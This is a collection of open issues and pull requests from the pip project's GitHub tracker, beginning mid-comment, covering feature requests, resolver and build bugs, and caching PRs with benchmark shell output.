double check to make sure that you've added a news file fragment. In pip we
generate our NEWS.rst from multiple news fragment files, and all pull requests
require either a news file fragment or a marker to indicate they don't require
one.

To read more about adding a news file fragment for your PR, please check out
our documentation at: https://pip.pypa.io/en/latest/development/contributing/#news-entries
-->

user: rousseldenis
issue_12275: state: open
title: Allow pip install to install to a date:  install only package versions that were available on or before that day.
body: ### What's the problem this feature will solve?

It is often the case that python package updates will break old code.  This is particularly problematic in science, where computational research ends up being irreproducible because of updates to the packages used.  See:

https://arxiv.org/pdf/2209.04308.pdf

The basic problem is that at the moment you are writing code, you don't know what the future will bring.  Ideally, packages would be backwards-compatible, but this is often not the case.  In addition, even fixing all the packages you are using directly to a particular version won't help if one of those packages contains a dependency that itself can be updated in the future, breaking that package and/or your code.

### Describe the solution you'd like

The problem found in the paper (plus everyone's general problems with 'X update broke Y') could be solved by pip directly by adding an optional flag with a date, beyond which no package should be installed.  This moves a complicated dependency problem away from the user to a relatively simple script:  pip already knows when any given package was uploaded, and could update packages and solve dependency issues exactly as it would have on the flagged date, before newer options were available.

In a sense, this would serve as a sort of poor man's docker image: a frozen snapshot of a python environment that worked at one point, and could be re-created on the fly.

### Alternative Solutions

The only other way to ensure future compatibility is to freeze all packages used by your python script with explicit versions in the requirements.txt files (or equivalent), additionally freezing all packages that *those* packages depend on to their versions, recursively, as well.  This is possible, but beyond the scope of many people's ability to program in python, especially given that python is particularly easy to use, and doesn't typically require a lot of esoteric programming knowledge.  'Flag every dependency to the particular version you're currently using' is much more complicated to even understand let alone accomplish, than a simple 'flag this as having worked on a particular day'.

### Additional context

Another advantage of having a pip install that works by date instead of only version number is that it then becomes another tool a programmer can use to discover *why* their script no longer works.  By updating the date to discover the time when their script stopped working, they know exactly which package changed to break their code, improving their ability to update that code to match the updated packages.

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: luciansmith
labels: state: needs discussion: This needs some more discussion
type: feature request: Request for a new feature
issue_12274: state: open
title: Goes on a frenzie to download hundreds (all?) of (.whl) versions of boto3, botocore
body: ### Description

Original use case -- this https://github.com/dandi/dandi-api-webshots-tools/blob/master/requirements.txt , boiled down to combination of `dandi` and `selenium` which leads to smth like

```shell
dandi@drogon:/tmp$ python3 -m venv venv && source venv/bin/activate && pip install --upgrade pip && pip install 'dandi' 'selenium'
Requirement already satisfied: pip in ./venv/lib/python3.9/site-packages (20.3.4)
Collecting pip
  Using cached pip-23.2.1-py3-none-any.whl (2.1 MB)
Installing collected packages: pip
  Attempting uninstall: pip
    Found existing installation: pip 20.3.4
    Uninstalling pip-20.3.4:
      Successfully uninstalled pip-20.3.4
Successfully installed pip-23.2.1
Collecting dandi
  Obtaining dependency information for dandi from https://files.pythonhosted.org/packages/5d/31/b68e518bb135538031bfda140db823a52a067c66c5fd424b0b58d1fd4d40/dandi-0.56.0-py3-none-any.whl.metadata
  Using cached dandi-0.56.0-py3-none-any.whl.metadata (7.5 kB)
Collecting selenium
  Obtaining dependency information for selenium from https://files.pythonhosted.org/packages/f9/2f/9c6eef6487faca5006ae1ba43cf6ab627c7e3d2a7ec5a3b8728e2105472d/selenium-4.12.0-py3-none-any.whl.metadata
  Using cached selenium-4.12.0-py3-none-any.whl.metadata (6.9 kB)
...
Collecting botocore<1.30.0,>=1.29.146 (from boto3<2.0,>=1.24->zarr-checksum->dandi)
  Obtaining dependency information for botocore<1.30.0,>=1.29.146 from https://files.pythonhosted.org/packages/8e/59/59b444f5e93ea0eaf839e1ecfe904533e00b83940028159d17bbe1b9d932/botocore-1.29.146-py3-none-any.whl.metadata
  Using cached botocore-1.29.146-py3-none-any.whl.metadata (5.9 kB)
Collecting boto3<2.0,>=1.24 (from zarr-checksum->dandi)
  Obtaining dependency information for boto3<2.0,>=1.24 from https://files.pythonhosted.org/packages/dd/5f/d880fd9a9a5b3fec23dc07563ca9538d5f465dd4283331c588ca8fe0daab/boto3-1.26.145-py3-none-any.whl.metadata
  Using cached boto3-1.26.145-py3-none-any.whl.metadata (7.0 kB)
Collecting botocore<1.30.0,>=1.29.145 (from boto3<2.0,>=1.24->zarr-checksum->dandi)
  Obtaining dependency information for botocore<1.30.0,>=1.29.145 from https://files.pythonhosted.org/packages/b7/31/47d10013dbacc78f1ea080e92ae06438e593fb24145fdd929ef542446a74/botocore-1.29.145-py3-none-any.whl.metadata
  Using cached botocore-1.29.145-py3-none-any.whl.metadata (5.9 kB)
Collecting boto3<2.0,>=1.24 (from zarr-checksum->dandi)
  Obtaining dependency information for boto3<2.0,>=1.24 from https://files.pythonhosted.org/packages/98/1e/d636fc4a63d9343a0e973e4b9e44b9a4d7a9531821bd8b3dc7fa720dc054/boto3-1.26.144-py3-none-any.whl.metadata
  Using cached boto3-1.26.144-py3-none-any.whl.metadata (7.0 kB)
Collecting botocore<1.30.0,>=1.29.144 (from boto3<2.0,>=1.24->zarr-checksum->dandi)
  Obtaining dependency information for botocore<1.30.0,>=1.29.144 from https://files.pythonhosted.org/packages/7a/79/dffb326aa5c86ff001d707c506844094b8ce1e52215bb08a36f39893509f/botocore-1.29.144-py3-none-any.whl.metadata
  Using cached botocore-1.29.144-py3-none-any.whl.metadata (5.9 kB)
...
Collecting boto3<2.0,>=1.24 (from zarr-checksum->dandi)
  Downloading boto3-1.26.50-py3-none-any.whl (132 kB)
     ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 132.7/132.7 kB 66.4 MB/s eta 0:00:00
...
```

so you can see it going after all those .patch versions of botocore and boto3 (.144, .143, ...) and then I think other .minor versions and so on...

at the end it does finish with

```
Using cached uri_template-1.3.0-py3-none-any.whl (11 kB)
Using cached dnspython-2.4.2-py3-none-any.whl (300 kB)
Installing collected packages: wcwidth, sortedcontainers, rfc3987, pytz, asciitree, appdirs, zipp, webcolors, urllib3, uri-template, tzdata, typing-extensions, tqdm, tenacity, sniffio, six, semantic-version, ruamel.yaml.clib, rpds-py, pyyaml, pysocks, pycryptodomex, pycparser, packaging, numpy, natsort, more-itertools, jsonpointer, joblib, jmespath, jeepney, interleave, idna, humanize, h11, fqdn, fasteners, exceptiongroup, entrypoints, dnspython, click, ci-info, charset-normalizer, certifi, attrs, wsproto, scipy, ruamel.yaml, rfc3339-validator, requests, referencing, python-dateutil, pydantic, outcome, numcodecs, jaraco.classes, isodate, importlib-metadata, h5py, fscacher, email-validator, click-didyoumean, cffi, blessed, bidsschematools, zarr, trio, pandas, keyrings.alt, jsonschema-specifications, etelemetry, cryptography, botocore, arrow, trio-websocket, SecretStorage, s3transfer, jsonschema, isoduration, selenium, pyout, keyring, hdmf, boto3, zarr-checksum, pynwb, dandischema, nwbinspector, dandi
Successfully installed SecretStorage-3.3.3 appdirs-1.4.4 arrow-1.2.3 asciitree-0.3.3 attrs-23.1.0 bidsschematools-0.7.1 blessed-1.20.0 boto3-1.28.44 botocore-1.31.44 certifi-2023.7.22 cffi-1.15.1 charset-normalizer-3.2.0 ci-info-0.3.0 click-8.1.7 click-didyoumean-0.3.0 cryptography-41.0.3 dandi-0.56.0 dandischema-0.8.4 dnspython-2.4.2 email-validator-2.0.0.post2 entrypoints-0.4 etelemetry-0.3.0 exceptiongroup-1.1.3 fasteners-0.18 fqdn-1.5.1 fscacher-0.4.0 h11-0.14.0 h5py-3.9.0 hdmf-3.9.0 humanize-4.8.0 idna-3.4 importlib-metadata-6.8.0 interleave-0.2.1 isodate-0.6.1 isoduration-20.11.0 jaraco.classes-3.3.0 jeepney-0.8.0 jmespath-1.0.1 joblib-1.3.2 jsonpointer-2.4 jsonschema-4.19.0 jsonschema-specifications-2023.7.1 keyring-24.2.0 keyrings.alt-5.0.0 more-itertools-10.1.0 natsort-8.4.0 numcodecs-0.11.0 numpy-1.25.2 nwbinspector-0.4.29 outcome-1.2.0 packaging-23.1 pandas-2.1.0 pycparser-2.21 pycryptodomex-3.18.0 pydantic-1.10.12 pynwb-2.5.0 pyout-0.7.3 pysocks-1.7.1 python-dateutil-2.8.2 pytz-2023.3.post1 pyyaml-6.0.1 referencing-0.30.2 requests-2.31.0 rfc3339-validator-0.1.4 rfc3987-1.3.8 rpds-py-0.10.2 ruamel.yaml-0.17.32 ruamel.yaml.clib-0.2.7 s3transfer-0.6.2 scipy-1.11.2 selenium-4.12.0 semantic-version-2.10.0 six-1.16.0 sniffio-1.3.0 sortedcontainers-2.4.0 tenacity-8.2.3 tqdm-4.66.1 trio-0.22.2 trio-websocket-0.10.4 typing-extensions-4.7.1 tzdata-2023.3 uri-template-1.3.0 urllib3-1.26.16 wcwidth-0.2.6 webcolors-1.13 wsproto-1.2.0 zarr-2.16.1 zarr-checksum-0.2.9 zipp-3.16.2
```

so with `boto3-1.28.44 botocore-1.31.44` so the most recent ones on pypi and double-checked:

```shell
(venv) dandi@drogon:/tmp$ python -c 'import boto3; print(boto3.__version__)'
1.28.44
(venv) dandi@drogon:/tmp$ python -c 'import botocore; print(botocore.__version__)'
1.31.44
```

and only those installed

```shell
(venv) dandi@drogon:/tmp$ ls -ld venv/lib/python3.9/site-packages/boto*info
drwxr-xr-x 2 dandi dandi 4096 Sep 11 11:45 venv/lib/python3.9/site-packages/boto3-1.28.44.dist-info
drwxr-xr-x 2 dandi dandi 4096 Sep 11 11:45 venv/lib/python3.9/site-packages/botocore-1.31.44.dist-info
```

### Expected behavior

to not query/download all those other versions of boto3 and botocore only to install the most recent one at the end.

### pip version

23.2.1

### Python version

originally locally 3.11.5 and then on server with 3.9.2

### OS

Debian GNU/Linux

### How to Reproduce

```shell
$ python3 -m venv venv && source venv/bin/activate && pip install --upgrade pip && pip install 'dandi' 'selenium'
```

### Output

_No response_

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: yarikoptic
labels: type: bug: A confirmed bug or unintended behavior
C: dependency resolution: About choosing which dependencies to install
state: needs eyes: Needs a maintainer/triager to take a closer look
issue_12273: state: open
title: `get_requires_for_build_wheel` hook is invoked without passing `config_settings`
body: ### Description

The exact invocation is here: https://github.com/pypa/pip/blob/83ca10ab6012bab3654728b335d3d3b56ac6da06/src/pip/_internal/distributions/sdist.py#L101

A few lines below that there's an invocation of `get_requires_for_build_editable` with the same problem.

PEP 517 clearly states that `config_settings` must be passes to all hooks, so not doing so looks like a bug to me.

Context: I noticed because I had an optional system dependency in the `numpy` build and the config-settings flag to disable usage of that flag wasn't doing anything. On inspection of my CI build log, the flag wasn't being passed in, which led me to search the `pip` code base for all calls to the `get_requires_for_build_wheel` hook. The missing argument in the call in `sdist.py` indeed explains the failure I was seeing.

More context: `meson-python` has a dependency on Linux on `patchelf` in some cases, and to determine whether installing `patchelf` from PyPI was necessary, a build configure step could be triggered (see [these lines of code](https://github.com/mesonbuild/meson-python/blob/d463b2584aa758079321b0e4c3f96d52a3010d7e/mesonpy/__init__.py#L1041-L1057)). That situation should be rare, which probably explains why no one noticed the missing `config_settings` argument. That code is now changed, so the problem no longer affects `meson-python` users. 

### Expected behavior

All calls to `get_requires_for_build_wheel` and `get_requires_for_build_editable` always pass in `config_settings`.

### pip version

23.2.1

### Python version

3.11

### OS

Linux

### How to Reproduce

The actual reproducer was inside a dev build of numpy, which is nontrivial to reproduce. However, I don't think it's necessary to reproduce that particular failure - from the line of code I identified above and PEP 517, it seems clear that this is a bug and that passing in `config_settings` will fix the bug.

If a reproducer is needed for testing, it'd be better to write a standalone minimal reproducer. 

### Output

_No response_

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: rgommers
labels: type: bug: A confirmed bug or unintended behavior
S: needs triage: Issues/PRs that need to be triaged
issue_12269: state: open
title: Can't uninstall package installed with sudo pip install -e - "No files were found to uninstall." 
body: ### Description

It is same with https://github.com/pypa/pip/issues/5330#issue-317612955 
pip list shows 
```
pyporter       0.1     /root/share/pyporter
```

### Expected behavior

_No response_

### pip version

pip 21.3.1 from /usr/lib/python3.9/site-packages/pip (python 3.9)

### Python version

Python 3.9.9

### OS

Linux c2b87e821b15 4.15.0-167-generic #175-Ubuntu SMP Wed Jan 5 01:56:07 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux

### How to Reproduce

https://gitee.com/openeuler/pyporter 
`pip install -e .` 
`pip uninstall pyporter` 

### Output

Found existing installation: pyporter 0.1
Can't uninstall 'pyporter'. No files were found to uninstall.

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: LukeLIN-web
labels: type: bug: A confirmed bug or unintended behavior
S: needs triage: Issues/PRs that need to be triaged
issue_12267: state: open
title: Setuptools 68.2+ produces metadata with extra that’s read incorrectly by importlib.metadata
body: Work in progress…
user: uranusjr
issue_12264: state: open
title: Log ending round state @ during resolver debug
body: This change corrects a tiny-little mistake made in 9f318de7b6fc471f473069268f64dae45f7a5628 that was causing the word "state" to be printed out in the log instead of the value of the `ending_round()`'s state` argument.

user: webknjaz
labels: type: bug: A confirmed bug or unintended behavior
C: dependency resolution: About choosing which dependencies to install
C: cli: Command line interface related things (optparse, option grouping etc)
C: error messages: Improving error messages
issue_12263: state: open
title: Support for local plugins
body: ### What's the problem this feature will solve?

Like the author of #11644, I'd like to see pip integrate better with the Operating System's package-manager. However, I am not seeking a different -- and OS-specific -- source of packages, all I want is for pip to register the files it installs in the package-manager's database. So that RedHat's `rpm -qf /usr/..../foo.py` or FreeBSD's `pkg which /usr/..../foo.py` both print something meaningful, for example

### Describe the solution you'd like

Supporting the variety of such databases would, of course, be unfeasible for pip-maintainers, but you could provide a way to register (via the `pip.conf`) a local-plugin, which would be invoked each time a package is added or removed by pip. 

This plugin can be a command-line taking each package's description (in a certain format) as `stdin`, or a package with predefined entry-points, such as `foo.preinstall`, `foo.postinstall`, `foo.preremove`, `foo.postremove`, etcætera.

(Each entry-point would be optional.)

### Alternative Solutions

I suppose, an OS package-maintainers can replace `pip` with a _wrapper_, which would invoke actual `pip` to perform the installation(s) -- and then to list the new packages and the files they installed for registration.

But that's ugly and error-prone -- especially in the case of multiple packages being installed, with dependencies...

### Additional context

No additional context

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: UnitedMarsupials
labels: state: needs discussion: This needs some more discussion
type: feature request: Request for a new feature
issue_12260: state: open
title: Update security policy to include guidance on "Supported Versions"
body: ### What's the problem this feature will solve?

Usually security policies will include guidance on what versions are eligible for security fixes. I believe pip's historical behavior has been to only apply security patches to the latest release of pip (not backporting security fixes). If this isn't correct we can amend this to whatever future behavior the pip maintainers would like to do for security fixes.

### Describe the solution you'd like

Update security policy with guidance on supported versions.

### Alternative Solutions

N/A

### Additional context

https://github.com/pypa/pip/pull/12254

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: sethmlarson
labels: type: feature request: Request for a new feature
S: needs triage: Issues/PRs that need to be triaged
issue_12258: state: open
title: persistent cache for link parsing and interpreter compatibility
body: *Closes #12184.*

*This change is on top of #12257, see the `+264/-116` diff against at https://github.com/cosmicexplorer/pip/compare/link-parsing-cache...cosmicexplorer:pip:interpreter-compatibility-cache?expand=1.*

# Background: Caching `Link` Parsing In-Memory

In #7729, we cached the result of parsing an index for `Link`s in memory, to avoid redoing it more than once per run. Given that this result changes as packages upload new versions to pypi, it didn't seem feasible to cache this persistently like we can do with #12256.

# Proposal: Cache `Link` Parsing, then Interpreter Compatibility

*See #12184 for an investigation into caching strategies.*

If (as per #12257) we recognize that we have a cached HTTP response (which means no new versions of a package have been uploaded since we last checked), we can then implement two more levels of caching:
1. We can cache the HTML parsing and scanning for valid `Link`s, and write that to a json file in the cache directory.
2. After we scan all the resulting `Link`s to find the ones that match the current interpreter/platform, we can write that to a cache file as well (we have to ensure these are all invalidated when the HTTP response changes).

# Result: Some Performance Improvement

This all turns out to be possible, but with some caveats:
1. It takes up a little more filesystem space (2.5M) than #12256 or #12257 (which, for comparison, both only wrote an additional 2KB and 60KB to disk after the same large resolve):
```bash
> du -b -s ~/.cache/pip/fetch-resolve/
2536640 /home/cosmicexplorer/.cache/pip/fetch-resolve/
> find ~/.cache/pip/fetch-resolve/ -name parsed-links | parallel bzcat | jq '.[]'
...
{
  "url": "https://files.pythonhosted.org/packages/59/c0/85c204545c4b32f9f4e6b5e49faf4311d0610815aa98aa0cbb5c67f3ea85/keras_nightly-2.5.0.dev2021021400-py2.py3-none-any.whl",
  "comes_from": "https://pypi.org/simple/keras-nightly/",
  "requires_python": null,
  "yanked_reason": null,
  "metadata_file_data": null,
  "hashes": {
    "sha256": "a46f37cd4486d8d0802f91230611bc1ffe1030762cdb8461c8cd807f4d67f20c"
  }
}
> find ~/.cache/pip/fetch-resolve/ -name '*.evaluation' | parallel bzcat | jq '.[]'
...
{
  "name": "astunparse",
  "version": "1.6.3",
  "link": {
    "url": "https://files.pythonhosted.org/packages/f3/af/4182184d3c338792894f34a62672919db7ca008c89abee9b564dd34d8029/astunparse-1.6.3.tar.gz",
    "comes_from": "https://pypi.org/simple/astunparse/",
    "requires_python": null,
    "yanked_reason": null,
    "metadata_file_data": null,
    "hashes": {
      "sha256": "5ad93a8456f0d084c3456d059fd9a92cce667963232cbf763eac3bc5b7940872"
    }
  }
}
```
2. It has only a mild performance benefit, converting a 5.9 second resolve to 3.9 seconds (comparing #12257 vs this PR):
    - *This is technically a 1.5x speedup, but this doesn't scale linearly, and will only ever shave 2 seconds off the runtime.*
```bash
# check out #12257
> git checkout link-parsing-cache
> python3.8 -m pip install --use-feature=metadata-cache --dry-run --ignore-installed --report test.json --use-feature=fast-deps 'numpy>=1.19.5' 'keras==2.4.3' 'mtcnn' 'pillow>=7.0.0' 'bleach>=2.1.0' 'tensorflow-gpu==2.5.3'
...
real    0m5.940s
user    0m4.323s
sys     0m0.131s
> git checkout interpreter-compatibility-cache # apply the change in this PR
> python3.8 -m pip install --use-feature=metadata-cache --dry-run --ignore-installed --report test.json --use-feature=fast-deps 'numpy>=1.19.5' 'keras==2.4.3' 'mtcnn' 'pillow>=7.0.0' 'bleach>=2.1.0' 'tensorflow-gpu==2.5.3'
...
real    0m3.937s
user    0m2.774s
sys     0m0.169s
```
3. The implementation is a little complex.

# Discussion

I've made this a draft because I'd like to gather opinions on whether this would be worth merging.
user: cosmicexplorer
issue_12257: state: open
title: send HTTP caching headers for index pages to further reduce bandwidth usage
body: *This PR is on top of #12256, see the `+316/-36` diff against it at https://github.com/cosmicexplorer/pip/compare/link-metadata-cache...cosmicexplorer:pip:link-parsing-cache?expand=1.*

# Background: Learning More about HTTP Requests

After taking up a suggestion from @dholth in #12208 to consider handling a `304 Not Modified` response in HTTP requests, I began to consider whether we could make use of HTTP caching headers to further reduce the time we wait for the network, without reintroducing the delays to see new package uploads described in #5670.

# Proposal: Send HTTP Caching Headers and Record `ETag`

This change records the `ETag` and `Date` headers from the HTTP response, then sets the `If-None-Match` and `If-Modified-Since` headers on future requests against project pages (e.g. https://pypi.org/simple/tensorflow). This allows the server to respond with a zero-length `304 Not Modified` instead of a several-hundred KB HTML page:
```bash
> curl -L -v -H 'Accept: application/vnd.pypi.simple.v1+json' 'https://pypi.org/simple/tensorflow' | wc -c
# ...
< HTTP/2 200
# ...
< etag: "d/Qc2Yfc8cAEOVWV4ydm0g"
# ...
630017
# now execute the same request again, but providing the ETag
> curl -L -v -H 'Cache-Control: max-age=0' -H 'If-None-Match: "d/Qc2Yfc8cAEOVWV4ydm0g"' -H 'Accept: application/vnd.pypi.simple.v1+json' 'https://pypi.org/simple/tensorflow' | wc -c
# ...
< HTTP/2 304
# ...
0
```

# Result: Slight Performance Improvement

Recording these HTTP headers adds only ~3KB of disk space after a large resolve:
```bash
> du -b -s ~/.cache/pip/fetch-resolve/
2842    /home/cosmicexplorer/.cache/pip/fetch-resolve/
> find ~/.cache/pip/fetch-resolve/ -name checksum | parallel -n1 base64
...
WnHabu8DLkGTyGjm3HE+ymvlr9ulcho0ZU+HzyTaM7Q=
> find ~/.cache/pip/fetch-resolve/ -name etag | parallel -n1 "cat {}; echo"
...
Ee725MpdP+o4nSsZzrCWHw
> FILE="$(find ~/.cache/pip/fetch-resolve/ -name modified-since-date | head -n1)" python
Python 3.10.13 (main, Jan 10 2024, 22:22:23) [GCC 13.2.1 20230801] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import os
>>> with open(os.environ['FILE'], 'rb') as f:
...   i = int.from_bytes(f.read(), byteorder='big', signed=False)
... 
>>> import datetime
>>> datetime.datetime.fromtimestamp(i, tz=datetime.timezone.utc)
datetime.datetime(2024, 1, 11, 12, 10, 17, tzinfo=datetime.timezone.utc)
```

It has only a very slight (3.4%) performance benefit on top of #12256, converting a 6.1 second resolve to 5.9 seconds:
```bash
# this is #12256
> git checkout link-metadata-cache
> python3.8 -m pip install --use-feature=metadata-cache --dry-run --ignore-installed --report test.json --use-feature=fast-deps 'numpy>=1.19.5' 'keras==2.4.3' 'mtcnn' 'pillow>=7.0.0' 'bleach>=2.1.0' 'tensorflow-gpu==2.5.3'
...
real    0m6.142s
user    0m4.414s
sys     0m0.174s
> git checkout link-parsing-cache # apply the change in this PR
> python3.8 -m pip install --use-feature=metadata-cache --dry-run --ignore-installed --report test.json --use-feature=fast-deps 'numpy>=1.19.5' 'keras==2.4.3' 'mtcnn' 'pillow>=7.0.0' 'bleach>=2.1.0' 'tensorflow-gpu==2.5.3'
...
real    0m5.940s
user    0m4.349s
sys     0m0.181s
```

But more importantly, as described above, it avoids making multiple ~600KB requests against pypi on each resolve.

# TODO
- [ ] Merge #12256.
user: cosmicexplorer
issue_12256: state: open
title: cache metadata lookups for sdists and lazy wheels
body: *This PR is on top of #12186; see the `+392/-154` diff against it at https://github.com/cosmicexplorer/pip/compare/metadata_only_resolve_no_whl...cosmicexplorer:pip:link-metadata-cache?expand=1.*

- *Fixes #11165.*

# Background: Pip Bandwidth Usage Improvements

In 2016, @dstufft [tweeted](https://twitter.com/dstufft/status/728701453217501184):
> In the last 24 hours PyPI has served 120 million requests and used 13.7 TB of bandwidth.

Today, @sethmlarson [tweeted](https://twitter.com/sethmlarson/status/1697988472311628026):
> urllib3 recently reached 10 billion total downloads!! 🎉🔟🥳

Since PEP 658 from @uranusjr was implemented via #11111 and pypi/warehouse#13649, pip has been making use of shallow metadata files to resolve against, meaning that instead of pulling down several very large wheels over the course of a single `pip install` invocation, only to throw away most of them, we now only download and prepare a single version of each requirement at the conclusion of each pip subcommand. With #12186, we can even avoid downloading any dists at all if we only want to generate an install report with `pip install --report --dry-run`. For find-links or other non-pypi indices which haven't implemented PEP 658, #12208 improves the `fast-deps` feature to enable metadata-only resolves against those too.

# Proposal: Caching Metadata to Reduce Number of Requests

The above is all great, but despite reducing *bandwidth* usage, we haven't yet reduced the total *number* of requests. As described in #12184, I believe we can safely cache metadata lookup to both drastically improve pip's runtime as well as significantly reduce the number of requests against pypi.

This caching is made safe by extending @sbidoul's prior work (see e.g. #7333, #7296) to ensure `pip._internal.cache.Cache` incorporates all the information that may change the compatibility of a downloaded/prepared distribution resolved from a `Link`.

# Result: 6.5x Speedup, Shaving Off 30 Seconds of Runtime
This change produces a 6.5x speedup against the example tested below, reducing the runtime of this `pip install --report` command from over 36 seconds down to just 5.7 seconds:
```bash
# this branch is #12186, which this PR is based off of
> git checkout metadata_only_resolve_no_whl
> python3.8 -m pip install --dry-run --ignore-installed --report test.json --use-feature=fast-deps 'numpy>=1.19.5' 'keras==2.4.3' 'mtcnn' 'pillow>=7.0.0' 'bleach>=2.1.0' 'tensorflow-gpu==2.5.3'
...
real    0m36.410s
user    0m15.706s
sys     0m13.377s
# switch to this PR
> git checkout link-metadata-cache
# enable --use-feature=metadata-cache
> python3.8 -m pip install --use-feature=metadata-cache --dry-run --ignore-installed --report test.json --use-feature=fast-deps 'numpy>=1.19.5' 'keras==2.4.3' 'mtcnn' 'pillow>=7.0.0' 'bleach>=2.1.0' 'tensorflow-gpu==2.5.3'
...
real    0m5.671s
user    0m4.429s
sys     0m0.123s
```

But possibly more importantly, it also drastically reduces the number of requests made against pypi (this is reflected in the much lower `sys` time in the second command output above), without introducing significant disk space usage (only ~60KB, because we only cache metadata for each dist, and we compress the serialized cache entries):
```bash
> du -b -s ~/.cache/pip/link-metadata/
60238   /home/cosmicexplorer/.cache/pip/link-metadata/
> find ~/.cache/pip/link-metadata/ -type f | parallel bzcat | jq
...
{
  "metadata": "Metadata-Version: 2.1\nName: h5py\nVersion: 3.1.0\nSummary: Read and write HDF5 files from Python\nHome-page: http://www.h5py.org\nAuthor: Andrew Collette\nAuthor-email: andrew.collette@gmail.com\nMaintainer: Andrew Collette\nMaintainer-email: andrew.collette@gmail.com\nLicense: BSD\nDownload-URL: https://pypi.python.org/pypi/h5py\nPlatform: UNKNOWN\nClassifier: Development Status :: 5 - Production/Stable\nClassifier: Intended Audience :: Developers\nClassifier: Intended Audience :: Information Technology\nClassifier: Intended Audience :: Science/Research\nClassifier: License :: OSI Approved :: BSD License\nClassifier: Programming Language :: Cython\nClassifier: Programming Language :: Python\nClassifier: Programming Language :: Python :: 3\nClassifier: Programming Language :: Python :: 3.6\nClassifier: Programming Language :: Python :: 3.7\nClassifier: Programming Language :: Python :: Implementation :: CPython\nClassifier: Topic :: Scientific/Engineering\nClassifier: Topic :: Database\nClassifier: Topic :: Software Development :: Libraries :: Python Modules\nClassifier: Operating System :: Unix\nClassifier: Operating System :: POSIX :: Linux\nClassifier: Operating System :: MacOS :: MacOS X\nClassifier: Operating System :: Microsoft :: Windows\nRequires-Python: >=3.6\nRequires-Dist: cached-property ; python_version < \"3.8\"\nRequires-Dist: numpy (>=1.12) ; python_version == \"3.6\"\nRequires-Dist: numpy (>=1.14.5) ; python_version == \"3.7\"\nRequires-Dist: numpy (>=1.17.5) ; python_version == \"3.8\"\nRequires-Dist: numpy (>=1.19.3) ; python_version >= \"3.9\"\n\n\nThe h5py package provides both a high- and low-level interface to the HDF5\nlibrary from Python. The low-level interface is intended to be a complete\nwrapping of the HDF5 API, while the high-level component supports  access to\nHDF5 files, datasets and groups using established Python and NumPy concepts.\n\nA strong emphasis on automatic conversion between Python (Numpy) datatypes and\ndata structures and their HDF5 equivalents vastly simplifies the process of\nreading and writing data from Python.\n\nSupports HDF5 versions 1.8.4 and higher.  On Windows, HDF5 is included with\nthe installer.\n\n\n",
  "filename": "h5py-3.1.0-cp38-cp38-manylinux1_x86_64.whl",
  "canonical_name": "h5py"
}
```

# TODO
- [ ] Merge #12186.
user: cosmicexplorer
issue_12253: state: open
title: Provider a clearer error message when `distutils` is missing on Python < 3.10
body: ### What's the problem this feature will solve?

Make it a bit more obvious why e.g. Debian/Ubuntu users can't use a copy of pip they downloaded themselves, e.g. `pip.pyz`, when `distutils` is missing. See https://github.com/pypa/pip/issues/12249 for the discussion around this.

### Describe the solution you'd like

Probably a `try`/`except ModuleNotFoundError` around:

https://github.com/pypa/pip/blob/b91cbd166148009baa6f167ca73f5b436b4d0637/src/pip/_internal/locations/__init__.py#L66

that prints out a specific error message about `distutils` missing.

### Alternative Solutions

Since this is an ask for a clearer error message, there's no need for an alternative as the status quo still works.

### Additional context

See above.

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: brettcannon
labels: state: awaiting PR: Feature discussed, PR is needed
type: feature request: Request for a new feature
issue_12250: state: open
title: [FR] Move to PyPA org on PyPI?
body: ### What's the problem this feature will solve?

PyPA projects consolidation and continued access to publishing to PyPI?

### Describe the solution you'd like

With the orgs feature on PyPI, there's a PyPA org that exists already — https://pypi.org/org/pypa/. Why not make use of it?

### Alternative Solutions

...not doing that?

### Additional context

PyPI orgs allow for displaying related projects under the same umbrella. They also implement a more fine-grained RBAC.

_UPD_: Dustin explained the implications as an FAQ in the ML: https://mail.python.org/archives/list/pypa-committers@python.org/thread/E6MWIHEK3M232UILXGQFYPHGJHF7VYW7/.

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: webknjaz
labels: type: maintenance: Related to Development and Maintenance Processes
type: feature request: Request for a new feature
S: needs triage: Issues/PRs that need to be triaged
issue_12248: state: open
title: Tracaback when build error happens, without pip messages
body: ### Description

Normally, when a build error happens, pip wraps the error in its own messages, for example:

```
root@7883ea1fb82f:/# pip install 'numpy<1.26'
Collecting numpy<1.26
  Using cached numpy-1.25.2.tar.gz (10.8 MB)
  Installing build dependencies ... done
  Getting requirements to build wheel ... error
  error: subprocess-exited-with-error
  
  × Getting requirements to build wheel did not run successfully.
  │ exit code: 1
  ╰─> [33 lines of output]
      Traceback (most recent call last):
        ...
        File "/tmp/pip-build-env-1mp_z8tm/overlay/lib/python3.12/site-packages/setuptools/__init__.py", line 16, in <module>
          import setuptools.version
        File "/tmp/pip-build-env-1mp_z8tm/overlay/lib/python3.12/site-packages/setuptools/version.py", line 1, in <module>
          import pkg_resources
        File "/tmp/pip-build-env-1mp_z8tm/overlay/lib/python3.12/site-packages/pkg_resources/__init__.py", line 2172, in <module>
          register_finder(pkgutil.ImpImporter, find_on_path)
                          ^^^^^^^^^^^^^^^^^^^
      AttributeError: module 'pkgutil' has no attribute 'ImpImporter'. Did you mean: 'zipimporter'?
      [end of output]
  
  note: This error originates from a subprocess, and is likely not a problem with pip.
error: subprocess-exited-with-error

× Getting requirements to build wheel did not run successfully.
│ exit code: 1
╰─> See above for output.

note: This error originates from a subprocess, and is likely not a problem with pip.
```

However, when **setuptools is not installed** the numpy installation error propagates directly as a traceback.

### Expected behavior

No matter if I have setuptools installed or not a build error should be wrapped in pip messages (such as *This error originates from a subprocess, and is likely not a problem with pip.*).

### pip version

23.2.1

### Python version

3.12.0rc1

### OS

Linux (python:3.12-rc from dockerhub)

